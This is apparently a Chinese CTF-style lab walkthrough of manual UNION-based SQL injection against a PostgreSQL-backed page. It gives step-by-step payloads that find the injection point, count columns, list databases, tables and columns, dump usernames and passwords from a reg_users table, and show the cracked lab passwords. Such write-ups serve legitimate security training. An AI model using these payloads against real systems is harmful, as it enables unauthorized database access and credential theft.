PostGREsql手工注入

1.判断是否存在注入点

?id=1 and 1=1  //显示正常

?id=1 and 1=2  //显示错误

存在注入点

 2.判断列数

?id=1 order by 4  //显示正常

?id=1 order by 5  //显示错误

有4列

3. 判断回显点

?id=1 and 1=2 union select null,'null','null',null

2,3号位有回显

4. 查询所有数据库

?id=1 and 1=2 union select null,'null',string_agg(datname,','),null from pg_database

得到数据库如下

5.查询表名

?id=1 and 1=2 union select null,'null',string_agg(tablename,','),null from pg_tables where schemaname='public'

6.查询字段

?id=1 and 1=2 union select null,'null',string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

得到reg_users的字段名

7.查询字段数据

?id=1 and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

得到两个用户如下

8. 破解密码后得到如下

mozhe1;236039

mozhe2;1qaz2wsx

9.登录得到key

  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值